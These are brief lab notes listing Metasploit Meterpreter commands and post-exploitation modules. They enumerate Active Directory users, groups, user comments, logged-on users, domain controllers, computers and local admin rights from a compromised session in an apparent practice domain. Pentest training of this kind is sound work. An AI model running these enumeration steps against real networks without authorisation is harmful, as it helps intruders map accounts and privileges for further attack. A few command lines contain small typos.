Enumeration 1 - Users, Groups, Computers

Display the Sessions

sessions -i

Interact with the opened session

sessions -i 2

#whoami from meterpreter
guid

#shell instead of meterpreter
shell
hostname
whoami
whoami /all
#to go back to meterpreter
exit

#modules to gather user info :)
run post/windows/gather/enum_ad_users

run post/windows/gather/enum_ad_groups

#background to save the session
background

clear
#see logged on users
use post/windows/gather/enum_logged_on_users
#to run it in a session
options
set session 2
run

#see the comments on user objects
use post/windows/gather/enum_ad_user_comments
set session 2
set domain newyork.local
run
set domain north.newyork.local
run
set domain maryland.local
run

#get users from a specific group
use post/windows/gather/enum_domain_group_users
options
set session 2
set domain newyork.local
run
set domain north.newyork.local
run
set domain maryland.local
run

#get the DC information
use run post/windows/gather/enum_domain
options
set session 2
run


use post/windows/gather/enum_computers
options
set session 2
run

#find local admin but you need local admin :(
use /post/windows/gather/local_admin_search_enum
options
set session 2
set rhost 192.168.56.10-22
run